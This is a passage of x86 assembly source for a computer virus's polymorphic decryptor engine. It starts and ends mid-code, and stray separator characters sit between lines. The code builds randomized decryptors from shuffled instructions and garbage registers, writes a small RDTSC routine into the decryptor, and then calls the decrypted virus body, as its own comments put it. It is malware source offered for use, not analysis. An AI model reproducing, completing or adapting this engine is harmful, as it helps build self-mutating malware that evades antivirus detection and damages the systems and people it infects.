|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoPOPReg ; Make POP of the original index
|
|
|
|
call RandomBoolean ; Let's make a random shuffle of the
|
|
or eax, eax ; functions that modify the index,
|
|
jz @@AddIndexFirst ; mask the index, increase the
|
|
@@AddCounterFirst: ; counter and mask the counter. The
|
|
call Poly_ModifyCounter ; order for modify/mask must not
|
|
@@C_SelectAnotherSequence: ; vary, but we can interleave that
|
|
call Random ; functions with the others, so
|
|
and eax, 3 ; that's what we do here.
|
|
or eax, eax ; We first select to do IncCounter
|
|
jz @@C_SelectAnotherSequence ; or AddIndex, and then we
|
|
; select randomly the position
|
|
push eax ; of MaskCounter or MaskIndex
|
|
cmp eax, 1 ; while we are coding the
|
|
jnz @@AddCounterFirst_Next00 ; other two functions.
|
|
call Poly_MaskCounter
|
|
@@AddCounterFirst_Next00:
|
|
call Poly_ModifyIndex
|
|
pop eax
|
|
|
|
push eax
|
|
cmp eax, 2
|
|
jnz @@AddCounterFirst_Next01
|
|
call Poly_MaskCounter
|
|
@@AddCounterFirst_Next01:
|
|
call Poly_MaskIndex
|
|
pop eax
|
|
|
|
cmp eax, 3
|
|
jnz @@AddCounterFirst_Next02
|
|
call Poly_MaskCounter
|
|
@@AddCounterFirst_Next02:
|
|
jmp @@ModificationMade
|
|
|
|
|
|
@@AddIndexFirst: ; This makes AddIndex first, and
|
|
call Poly_ModifyIndex ; then inserts in a random position
|
|
@@I_SelectAnotherSequence: ; the MaskIndex function while
|
|
call Random ; coding the ModifyCounter and the
|
|
and eax, 3 ; MaskCounter
|
|
or eax, eax
|
|
jz @@I_SelectAnotherSequence
|
|
|
|
push eax
|
|
cmp eax, 1
|
|
jnz @@AddIndexFirst_Next00
|
|
call Poly_MaskIndex
|
|
@@AddIndexFirst_Next00:
|
|
call Poly_ModifyCounter
|
|
pop eax
|
|
|
|
push eax
|
|
cmp eax, 2
|
|
jnz @@AddIndexFirst_Next01
|
|
call Poly_MaskIndex
|
|
@@AddIndexFirst_Next01:
|
|
call Poly_MaskCounter
|
|
pop eax
|
|
|
|
cmp eax, 3
|
|
jnz @@AddIndexFirst_Next02
|
|
call Poly_MaskIndex
|
|
@@AddIndexFirst_Next02:
|
|
|
|
;; We arrive here with all modifications made and the current DWORD copied
|
|
;; and decrypted (or maybe not decrypted and left as is).
|
|
|
|
@@ModificationMade:
|
|
mov eax, 38h ; Make a comparision of the counter
|
|
mov [edi], eax ; with the first value that it had.
|
|
mov eax, [ebp+CounterRegister] ; If it's the same, we
|
|
mov [edi+1], eax ; have finished the
|
|
mov eax, [ebp+Poly_InitialValue] ; decryption.
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 75h ; Make the JNZ to the loop label
|
|
mov [edi], eax
|
|
mov eax, [ebp+Poly_LoopLabel]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
|
|
;;;;;;; ; Now get the address where the virus
|
|
mov eax, 8 ; is copied/decrypted and CALL there
|
|
mov [ebp+CounterRegister], eax
|
|
mov [ebp+BufferRegister], eax
|
|
|
|
mov ecx, [ebp+DeltaRegister]
|
|
mov [ebp+IndexRegister], ecx
|
|
xor ebx, ebx
|
|
call Poly_DoMOVRegMem ; Get the DeltaRegister value
|
|
|
|
mov ecx, [ebp+Decryptor_DATA_SECTION]
|
|
add ecx, 10h
|
|
call Poly_DoCALLMem ; Call the virus
|
|
|
|
call Poly_InsertLabel ; Insert this label and complete
|
|
; the jump here (when there was an
|
|
; error allocating virtual memory)
|
|
mov edx, [ebp+Poly_Jump_ErrorInVirtualAlloc]
|
|
mov [edx+1], eax
|
|
mov edx, [ebp+Poly_JumpRandomExecution] ; If there is a
|
|
or edx, edx ; random-execution routine, fix
|
|
jz @@DontSetJump ; that jump also.
|
|
mov [edx+1], eax
|
|
|
|
@@DontSetJump:
|
|
call Poly_SelectThreeRegisters
|
|
xor edx, edx
|
|
call Poly_DoPUSHValue ; Push a value of 0 (no error :)
|
|
|
|
mov ecx, [ebp+ExitProcessAddress]
|
|
call Poly_DoCALLMem ; Call to ExitProcess
|
|
|
|
mov ebx, [ebp+VarMarksTable] ; Clear the marks of the
|
|
mov ecx, 1000h ; variables used in this decryptor
|
|
xor eax, eax ; for the next decryptors that could
|
|
@@LoopClearMarks: ; be made after this one.
|
|
mov [ebx], eax
|
|
add ebx, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopClearMarks
|
|
|
|
mov [ebp+AddressOfLastInstruction], edi ; Set the address
|
|
mov eax, [ebp+OtherBuffers] ; of the last instruction
|
|
mov [ebp+JumpsTable], eax ; and some buffers that
|
|
add eax, 8000h ; we need for the engine
|
|
mov [ebp+FramesTable], eax ; functions.
|
|
|
|
mov eax, [ebp+NewAssembledCode]
|
|
push eax
|
|
mov eax, [ebp+TranslatedDeltaRegister]
|
|
push eax
|
|
|
|
call XpandCode ; Expand the code of the decryptor
|
|
|
|
mov eax, [ebp+InstructionTable] ; Now arrange the addresses
|
|
mov [ebp+NewAssembledCode], eax ; and values needed for
|
|
mov eax, [ebp+ExpansionResult] ; the Assembler
|
|
mov [ebp+InstructionTable], eax
|
|
|
|
mov eax, [ebp+SizeOfNewCode] ; Save these values that
|
|
push eax ; we must keep
|
|
mov eax, [ebp+RoundedSizeOfNewCode]
|
|
push eax
|
|
mov eax, [ebp+SizeOfNewCodeP2]
|
|
push eax
|
|
|
|
call AssembleCode ; Assemble the decryptor
|
|
|
|
mov eax, [ebp+SizeOfNewCode] ; Set the new addresses
|
|
mov [ebp+SizeOfDecryptor], eax ; and sizes
|
|
mov eax, [ebp+NewAssembledCode]
|
|
mov [ebp+AssembledDecryptor], eax
|
|
|
|
pop eax ; Restore some values
|
|
mov [ebp+SizeOfNewCodeP2], eax
|
|
pop eax
|
|
mov [ebp+RoundedSizeOfNewCode], eax
|
|
pop eax
|
|
mov [ebp+SizeOfNewCode], eax
|
|
|
|
pop eax
|
|
mov [ebp+TranslatedDeltaRegister], eax
|
|
pop eax
|
|
mov [ebp+NewAssembledCode], eax
|
|
|
|
ret ; Return with a new brand decryptor.
|
|
MakeDecryptor endp
|
|
|
|
;; Function to insert a label in the label table.
|
|
Poly_InsertLabel proc
|
|
mov eax, [ebp+LabelTable] ; Get the label table
|
|
mov ecx, [ebp+NumberOfLabels] ; Get the number of labels
|
|
or ecx, ecx
|
|
jz @@InsertLabel ; If 0, insert at the beginning
|
|
@@LoopFindLabel:
|
|
cmp [eax], edi ; If not, check if that label is
|
|
jz @@LabelInserted ; already inserted
|
|
add eax, 8
|
|
sub ecx, 1 ; If it is, return the label addr.
|
|
or ecx, ecx ; If not, we insert the new label
|
|
jnz @@LoopFindLabel ; at the end of the table
|
|
@@InsertLabel:
|
|
mov [eax], edi ; Set the new label
|
|
mov [eax+4], edi
|
|
mov ecx, [ebp+NumberOfLabels] ; Increase the number of
|
|
add ecx, 1 ; labels.
|
|
mov [ebp+NumberOfLabels], ecx
|
|
@@LabelInserted:
|
|
ret ; Return.
|
|
Poly_InsertLabel endp
|
|
|
|
;; Function to set the function name passed in the values of Index, Counter
|
|
;; and Buffer. An instruction will be created for each one (in a random order)
|
|
;; and after that another three instructions will be created for putting the
|
|
;; values of the registers into the buffer that GetModuleHandle or
|
|
;; GetProcAddres will use to get the data needed.
|
|
Poly_SetFunctionName proc
|
|
call Poly_SelectThreeRegisters ; Select new registers
|
|
|
|
mov edx, [ebp+Poly_FirstPartOfFunction]
|
|
mov [ebp+IndexValue], edx ; Set the values
|
|
mov edx, [ebp+Poly_SecondPartOfFunction]
|
|
mov [ebp+BufferValue], edx
|
|
mov edx, [ebp+Poly_ThirdPartOfFunction]
|
|
mov [ebp+CounterValue], edx
|
|
|
|
call Poly_SetValueToRegisters ; Make MOV instructions
|
|
|
|
call Poly_SetPART_ONEtoMemory_GetStartAddress
|
|
mov ebx, eax
|
|
call Poly_SetPART_TWOtoMemory_GetStartAddress
|
|
mov ecx, eax
|
|
call Poly_SetPART_THREEtoMemory_GetStartAddress
|
|
mov edx, eax
|
|
call Poly_RandomCall ; Make instructions to set the
|
|
; current value of the registers
|
|
; to the specified buffer.
|
|
|
|
call Poly_SelectThreeRegisters ; Get three new registers
|
|
mov ecx, [ebp+IndexRegister]
|
|
xor edx, edx
|
|
call Poly_DoMOVRegValue ; Set a 0 at the end of
|
|
; the data set before (with
|
|
; the new created MOVs)
|
|
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
add ebx, 0Ch
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoMOVMemReg ; ASCIIZ (or UNICODEZ :)
|
|
ret
|
|
Poly_SetFunctionName endp
|
|
|
|
|
|
;; This function selects three new registers for Index, Counter and Buffer.
|
|
Poly_SelectThreeRegisters proc
|
|
mov eax, 8
|
|
mov [ebp+IndexRegister], eax ; Initialize them to no_reg
|
|
mov [ebp+BufferRegister], eax
|
|
mov [ebp+CounterRegister], eax
|
|
|
|
call Poly_GetAGarbageRegister ; Get a register
|
|
mov [ebp+IndexRegister], eax ; Set it
|
|
call Poly_GetAGarbageRegister ; Get a register
|
|
mov [ebp+BufferRegister], eax ; Set it
|
|
call Poly_GetAGarbageRegister ; Get a register
|
|
mov [ebp+CounterRegister], eax ; Set it
|
|
ret
|
|
Poly_SelectThreeRegisters endp
|
|
|
|
;; Function to construct MOVs to set the values specified in every register
|
|
;; field to the corresponding Buffer, Counter and/or Index register.
|
|
Poly_SetValueToRegisters proc
|
|
call Poly_SetIndexValue_GetStartAddress ; Get the addresses
|
|
mov ebx, eax ; of the functions
|
|
call Poly_SetBufferValue_GetStartAddress ; to make a
|
|
mov ecx, eax ; random-ordered
|
|
call Poly_SetCounterValue_GetStartAddress ; call.
|
|
mov edx, eax
|
|
call Poly_RandomCall ; Make random-ordered call of
|
|
ret ; the functions at EBX,ECX and EDX
|
|
Poly_SetValueToRegisters endp
|
|
|
|
;; Function to modify the counter in the decryption loop using PRIDE)
|
|
Poly_ModifyCounter proc
|
|
call Random
|
|
and eax, 3 ; Add 4 plus a random 0-3. This will be
|
|
add eax, 4 ; eliminated by the mask.
|
|
mov edx, eax
|
|
mov ecx, [ebp+CounterRegister]
|
|
call Poly_DoADDRegValue
|
|
ret
|
|
Poly_ModifyCounter endp
|
|
|
|
;; Mask the register passed at ECX with the value in SizeOfNewCodeP2 (MOD of
|
|
;; that value)
|
|
Poly_MaskRegister proc
|
|
mov eax, 20h ; Make AND
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
call Random ; Get a random upper bits until the one
|
|
mov ebx, [ebp+SizeOfNewCodeP2] ; that we must anulate
|
|
mov ecx, ebx ; (i.e. set to 0) to make
|
|
not ebx ; an effective MOD of the
|
|
and eax, ebx ; value. All these bits
|
|
sub ecx, esi ; set to random values are
|
|
or eax, ecx ; always 0 in the register
|
|
neg esi ; we are masking, so there
|
|
and eax, esi ; is no problem.
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
ret
|
|
Poly_MaskRegister endp
|
|
|
|
;; Mask the counter. Get the register in ECX and call the MaskRegister
|
|
Poly_MaskCounter proc
|
|
mov ecx, [ebp+CounterRegister]
|
|
mov esi, 4
|
|
jmp Poly_MaskRegister
|
|
Poly_MaskCounter endp
|
|
|
|
;; Mask the index.
|
|
Poly_MaskIndex proc
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov esi, 1
|
|
jmp Poly_MaskRegister
|
|
Poly_MaskIndex endp
|
|
|
|
;; To modify the index, we add the addition we calculated at the beginning
|
|
;; of the polymorphism function
|
|
Poly_ModifyIndex proc
|
|
mov edx, [ebp+Poly_Addition]
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoADDRegValue
|
|
ret
|
|
Poly_ModifyIndex endp
|
|
|
|
|
|
Poly_RandomCall proc
|
|
mov esi, 5 ; Garble the values at EBX, ECX and EDX
|
|
@@Again: call Xp_GarbleRegisters
|
|
sub esi, 1
|
|
or esi, esi
|
|
jnz @@Again
|
|
or ebx, ebx ; If 0 in any one, don't push it
|
|
jz @@DontPush1st
|
|
push ebx
|
|
@@DontPush1st:
|
|
or ecx, ecx
|
|
jz @@DontPush2nd
|
|
push ecx
|
|
@@DontPush2nd:
|
|
or edx, edx
|
|
jz @@DontPush3rd
|
|
push edx
|
|
@@DontPush3rd: ; Ret and execute the functions in that
|
|
ret ; registers one after another
|
|
Poly_RandomCall endp
|
|
|
|
; To do a random-ordered calling of several functions we must know the address
|
|
; of this functions, but if we have a metamorphic code we can't do it because
|
|
; we can't make a difference between a normal value and an offset value (while
|
|
; doing LEA, or other), so we can't rely on hard-coded offsets to get function
|
|
; addresses. For this case, the idea is to put a call pointing to a POP & RET
|
|
; just before the start address of the function, so the CALL automatically
|
|
; will return into the stack the starting address of the function, so calling
|
|
; to Poly_SetIndexValue_GetStartAddress() (for example) will call to the func
|
|
; Poly_RandomCall_GetAddress(), which makes a POP EAX (putting there the
|
|
; starting address of the function) and then returning to where we called
|
|
; to xxxGetStartAddress(). Easy, isn't it? No! It is easy once you know it,
|
|
; but it wasn't easy to get the idea (believe me :).
|
|
|
|
Poly_SetIndexValue_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress ; Get the start address
|
|
Poly_SetIndexValue proc
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+IndexValue]
|
|
call Poly_DoMOVRegValue
|
|
ret
|
|
Poly_SetIndexValue endp
|
|
|
|
|
|
Poly_SetBufferValue_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetBufferValue proc
|
|
mov ecx, [ebp+BufferRegister]
|
|
mov edx, [ebp+BufferValue]
|
|
call Poly_DoMOVRegValue
|
|
ret
|
|
Poly_SetBufferValue endp
|
|
|
|
|
|
Poly_SetCounterValue_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetCounterValue proc
|
|
mov ecx, [ebp+CounterRegister]
|
|
mov edx, [ebp+CounterValue]
|
|
call Poly_DoMOVRegValue
|
|
ret
|
|
Poly_SetCounterValue endp
|
|
|
|
|
|
Poly_RandomCall_GetAddress proc ; Function where we return, POPing the
|
|
pop eax ; return address and getting the function
|
|
ret ; start.
|
|
Poly_RandomCall_GetAddress endp
|
|
|
|
|
|
Poly_SetPART_ONEtoMemory_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetPART_ONEtoMemory proc
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetPART_ONEtoMemory endp
|
|
|
|
Poly_SetPART_TWOtoMemory_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetPART_TWOtoMemory proc
|
|
mov ecx, [ebp+BufferRegister]
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
add ebx, 4
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetPART_TWOtoMemory endp
|
|
|
|
Poly_SetPART_THREEtoMemory_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetPART_THREEtoMemory proc
|
|
mov ecx, [ebp+CounterRegister]
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
add ebx, 8
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetPART_THREEtoMemory endp
|
|
|
|
|
|
;; Function to generate a MOV Reg,Value (with our pseudoassembler).
|
|
Poly_DoMOVRegValue proc
|
|
mov eax, 2
|
|
call RandomBoolean_X008_11 ; Get direct or indirect method
|
|
or eax, eax ; WEIGHT_X010
|
|
jz @@Direct
|
|
call Poly_GetAGarbageRegister ; If indirect, we get a
|
|
push ecx ; garbage register, move the
|
|
mov ecx, eax ; value to it and after that
|
|
call @@Direct ; we move the register to
|
|
mov eax, 41h ; the one that we want.
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
pop ecx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
@@Direct: mov eax, 40h ; If direct, then that: direct :)
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoMOVRegValue endp
|
|
|
|
;; This function makes an ADD Reg,Value in the same way that in the function
|
|
;; above: direct will add the value to the register, while indirect will
|
|
;; move the value to a garbage register and after that will add that register
|
|
;; to the one that we want to modify.
|
|
Poly_DoADDRegValue proc
|
|
mov eax, 3
|
|
call RandomBoolean_X008_11 ; Select direct or indirect
|
|
or eax, eax
|
|
jz @@Direct
|
|
mov eax, 40h ; Move the value to add to a garbage
|
|
mov [edi], eax ; register
|
|
call Poly_GetAGarbageRegister
|
|
mov [edi+1], eax
|
|
mov ebx, eax
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
mov eax, 01h ; ADD Reg,Reg
|
|
mov [edi], eax
|
|
mov [edi+1], ebx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
@@Direct:
|
|
xor eax, eax ; ADD Reg,Value
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoADDRegValue endp
|
|
|
|
;; Just that: MOV Mem,Reg. The memory is the DATA section of the decryptor,
|
|
;; and the offset within is in EBX.
|
|
Poly_DoMOVMemReg proc
|
|
xor eax, eax
|
|
call RandomBoolean_X012_15
|
|
or eax, eax
|
|
jz @@Direct ; Select direct or indirect
|
|
mov eax, 41h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx ; Make MOV GarbageReg,Reg and substitute
|
|
call Poly_GetAGarbageRegister ; the original register by
|
|
mov ecx, eax ; the garbage one.
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
@@Direct: mov eax, 43h ; MOV Mem,Reg pseudoopcode
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, ebx ; Get the offset and add the DATA sect.
|
|
add eax, [ebp+Decryptor_DATA_SECTION] ; of the virus.
|
|
mov [edi+3], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoMOVMemReg endp
|
|
|
|
;; Just like above, but inversed.
|
|
Poly_DoMOVRegMem proc
|
|
mov eax, 1
|
|
call RandomBoolean_X012_15 ; Direct or indirect
|
|
or eax, eax
|
|
jz @@Direct
|
|
push ecx
|
|
call Poly_GetAGarbageRegister ; Use this garbage register.
|
|
mov ecx, eax
|
|
call @@Direct ; Make the MOV GarbageReg,Mem
|
|
mov eax, 41h ; MOV Reg,GarbageReg
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
pop ecx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
|
|
@@Direct: mov eax, 42h ; Make the instruction directly
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, ebx ; EBX is an offset within DATA sect. of
|
|
add eax, [ebp+Decryptor_DATA_SECTION] ; the decryptor.
|
|
mov [edi+3], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoMOVRegMem endp
|
|
|
|
;; Make a PUSH Reg
|
|
Poly_DoPUSHReg proc
|
|
mov eax, 50h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoPUSHReg endp
|
|
|
|
;; Make a POP Reg
|
|
Poly_DoPOPReg proc
|
|
mov eax, 58h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoPOPReg endp
|
|
|
|
;; Make a PUSH Value
|
|
Poly_DoPUSHValue proc
|
|
mov eax, 2 ; WEIGHT_X014
|
|
call RandomBoolean_X012_15 ; Make it directly or indirectly.
|
|
and eax, 3 ; directly just pushes the value, and
|
|
or eax, eax ; indirectly first moves the value to a
|
|
jz @@Direct ; garbage register and then pushes that
|
|
mov eax, 40h ; register.
|
|
mov [edi], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov [edi+1], eax
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
mov ecx, eax
|
|
call Poly_DoPUSHReg
|
|
ret
|
|
|
|
@@Direct: mov eax, 68h
|
|
mov [edi], eax
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoPUSHValue endp
|
|
|
|
;; This function will perform a XOR Reg,Reg, both directly and indirectly
|
|
;; (with a garbage register), like the functions above.
|
|
Poly_DoXORRegReg proc
|
|
mov eax, 3
|
|
call RandomBoolean_X012_15 ; WEIGHT_X015
|
|
or eax, eax
|
|
jz @@Single
|
|
call Poly_GetAGarbageRegister
|
|
mov esi, eax
|
|
mov eax, 41h ; Make MOV GarbageReg,SourceReg
|
|
mov [edi], eax
|
|
mov [edi+1], edx
|
|
mov [edi+7], esi
|
|
add edi, 10h
|
|
mov edx, esi ; Subsitute the SourceReg by the garbage
|
|
; register.
|
|
@@Single: mov eax, 31h ; Make XOR DestinyReg,GarbageReg
|
|
mov [edi], eax
|
|
mov [edi+1], edx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoXORRegReg endp
|
|
|
|
;; This function gets a register that is not used by the decryptor (or
|
|
;; whatever the code we are doing). Concretely, it gets a random register from
|
|
;; 0 to 7, and if it's not ESP, IndexReg, CounterReg or BufferReg, then it
|
|
;; returns it (it's not used/reserved).
|
|
Poly_GetAGarbageRegister proc
|
|
@@Again: call Random
|
|
and eax, 7
|
|
cmp eax, [ebp+IndexRegister]
|
|
jz @@Again
|
|
cmp eax, [ebp+CounterRegister]
|
|
jz @@Again
|
|
cmp eax, [ebp+BufferRegister]
|
|
jz @@Again
|
|
cmp eax, 4
|
|
jz @@Again
|
|
ret
|
|
Poly_GetAGarbageRegister endp
|
|
|
|
;; This function creates a check with 0
|
|
Poly_MakeCheckWith0 proc
|
|
xor eax, eax
|
|
call RandomBoolean_X016_19 ; WEIGHT_X016
|
|
or eax, eax
|
|
jnz @@Single
|
|
mov eax, 40h ; Composed option: MOV Reg2,0 /
|
|
mov [edi], eax ; CMP Reg,Reg2
|
|
call Poly_GetAGarbageRegister
|
|
mov [edi+1], eax
|
|
xor ebx, ebx
|
|
mov [edi+7], ebx
|
|
add edi, 10h
|
|
mov ebx, 39h
|
|
mov [edi], ebx
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
|
|
@@Single: mov eax, 38h ; This one is direct
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
xor eax, eax
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
ret
|
|
Poly_MakeCheckWith0 endp
|
|
|
|
;; This function makes a CALL to a memory address. It's used mainly for API
|
|
;; calls. We can do both simple and composed CALLs.
|
|
Poly_DoCALLMem proc
|
|
mov eax, 1
|
|
call RandomBoolean_X016_19 ; WEIGHT_X017
|
|
or eax, eax
|
|
jz @@Single
|
|
mov eax, 40h ; Move the address to a garbage register
|
|
mov [edi], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov ebx, eax
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
mov eax, 0EAh ; Call to [Register]
|
|
mov [edi], eax
|
|
mov eax, 0800h
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
ret
|
|
@@Single: mov eax, 0EAh ; Call the address directly
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov [edi+3], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoCALLMem endp
|
|
|
|
;; This piece of code generates a RDTSC/RET function in runtime once in
|
|
;; every 4 created decryptors. The mini-routine has some variants, to make
|
|
;; it a little "polymorphic" :).
|
|
;; There isn't a standard way of getting a random number in runtime without
|
|
;; using APIs (to my knowledge), since FS:[xxx] addresses depend on the
|
|
;; win32 system we use (Win9x or WinNT).
|
|
Poly_MakeRandomExecution proc
|
|
mov eax, 2
|
|
call RandomBoolean_X016_19 ; WEIGHT_X018
|
|
; Only a prob. of making this of 1/4!
|
|
or eax, eax ; (at first generation, after that it
|
|
jnz @@Normal ; evolves)
|
|
call Poly_SelectThreeRegisters ; Select new registers
|
|
mov ecx, [ebp+IndexRegister] ; Construct the mini-
|
|
mov edx, [ebp+Decryptor_DATA_SECTION] ; function here.
|
|
call Random ; Get a random offset inside the
|
|
and eax, 1Ch ; first 20h bytes of the decryptor
|
|
add edx, eax ; data section, and construct the
|
|
cmp eax, 1Ch ; 4-byte function there.
|
|
jz @@DontAddMore
|
|
call Random
|
|
and eax, 3
|
|
add edx, eax
|
|
@@DontAddMore: ; Set the IndexRegister with this
|
|
call Poly_DoMOVRegValue ; value.
|
|
|
|
call Random ; Get a random number
|
|
push eax ; Save it
|
|
mov edx, eax ; Move it to BufferReg
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoMOVRegValue
|
|
@@RDTSC_Option0:
|
|
mov eax, 3
|
|
call RandomBoolean_X016_19 ; Get one of the three possible
|
|
; WEIGHT_X019 ; variants.
|
|
or eax, eax
|
|
jz @@RDTSC_Option2 ; Garbage at the beginning
|
|
xor eax, eax
|
|
call RandomBoolean_X020_23 ; WEIGHT_X020
|
|
or eax, eax
|
|
jz @@RDTSC_Option3 ; Garbage in the middle
|
|
@@RDTSC_Option1:
|
|
call Random
|
|
and eax, 0FF000000h ; Garbage at the end (a random byte :)
|
|
add eax, 000C3310Fh
|
|
jmp @@RDTSC_SetInstruction
|
|
@@RDTSC_Option2:
|
|
call Poly_GetGarbageOneByter
|
|
;and eax, 0000000FFh ; Set a one-byte do-nothing instrc.
|
|
add eax, 0C3310F00h ; at the beginning
|
|
jmp @@RDTSC_SetInstruction
|
|
@@RDTSC_Option3:
|
|
call Poly_GetGarbageOneByter
|
|
shl eax, 10h ; Set a one-byter in the middle
|
|
add eax, 0C300310Fh
|
|
@@RDTSC_SetInstruction:
|
|
mov edx, eax ; Now make the value in EAX from the
|
|
pop eax ; random value we made before.
|
|
sub edx, eax
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoADDRegValue ; Make it by ADD (or SUB). It's
|
|
; a way of encrypting it.
|
|
|
|
mov eax, 43h ; Make a MOV [IndexReg],BufferReg
|
|
mov [edi], eax
|
|
mov eax, 0800h
|
|
add eax, [ebp+IndexRegister]
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 0ECh ; Now make CALL IndexReg.
|
|
mov [edi], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
mov [edi+1], eax ; It will return a random value in
|
|
add edi, 10h ; EAX
|
|
|
|
xor eax, eax ; Set IndexReg as EAX
|
|
mov [ebp+IndexRegister], eax
|
|
mov eax, 8 ; Destroy the other registers
|
|
mov [ebp+BufferRegister], eax
|
|
mov [ebp+CounterRegister], eax
|
|
|
|
mov eax, 1
|
|
call RandomBoolean_X020_23 ; TEST or AND/CMP?
|
|
; WEIGHT_X021
|
|
or eax, eax
|
|
jz @@DirectTEST
|
|
@@ANDandCheck:
|
|
mov eax, 20h ; Make AND EAX,2^rnd
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
call Xpand_ReverseTranslation ; Set the register that will
|
|
mov [edi+1], eax ; be translated to EAX with
|
|
call @@GetARandomPowerOf2 ; the expander
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
|
|
xor eax, eax
|
|
call Xpand_ReverseTranslation
|
|
mov ecx, eax
|
|
call Poly_MakeCheckWith0 ; Make a check with 0
|
|
@@SetTheJump:
|
|
mov eax, 2
|
|
call RandomBoolean_X020_23 ; WEIGHT_X022
|
|
add eax, 74h ; Set a random JZ/JNZ to
|
|
mov [edi], eax ; ExitProcess.
|
|
mov [ebp+Poly_JumpRandomExecution], edi ; Set the address
|
|
add edi, 10h ; of the jump to complete and
|
|
ret ; return.
|
|
|
|
@@DirectTEST:
|
|
mov eax, 48h ; The direct test is TEST EAX,xxxx
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
call Xpand_ReverseTranslation
|
|
mov [edi+1], eax
|
|
call @@GetARandomPowerOf2 ; Get a 2^rnd number (only one
|
|
mov [edi+7], edx ; bit set)
|
|
add edi, 10h
|
|
jmp @@SetTheJump
|
|
|
|
@@Normal: xor eax, eax ; If we don't make this, we set the jump
|
|
mov [ebp+Poly_JumpRandomExecution], eax ; to complete to
|
|
ret ; 0 and we exit.
|
|
|
|
@@GetARandomPowerOf2: ; A 2^rnd number is achieved by getting
|
|
call Random ; a random number from 0 to 31 and then
|
|
and eax, 1Fh ; shifting 1 by that number. Easy :).
|
|
mov edx, 1
|
|
@@LoopRotate:
|
|
or eax, eax
|
|
jz @@RotateFinish
|
|
shl edx, 1
|
|
sub eax, 1
|
|
jmp @@LoopRotate
|
|
@@RotateFinish:
|
|
ret
|
|
Poly_MakeRandomExecution endp
|
|
|
|
;; Get a garbage one-byte instruction.
|
|
Poly_GetGarbageOneByter proc
|
|
call Random ; Get a random number from 0 to 7
|
|
and eax, 7
|
|
add eax, 0F8h ; Add F8 to get some interesting instrc.
|
|
cmp eax, 0FAh ; CLI?
|
|
jz @@ReturnCMC ; Then set CMC
|
|
cmp eax, 0FDh ; STD?
|
|
jz @@ReturnNOP ; Then set NOP (bad things happen if not!)
|
|
cmp eax, 0FEh ; Other type of opcodes?
|
|
jb @@Return ; If not, return the opcode
|
|
@@ReturnNOP:
|
|
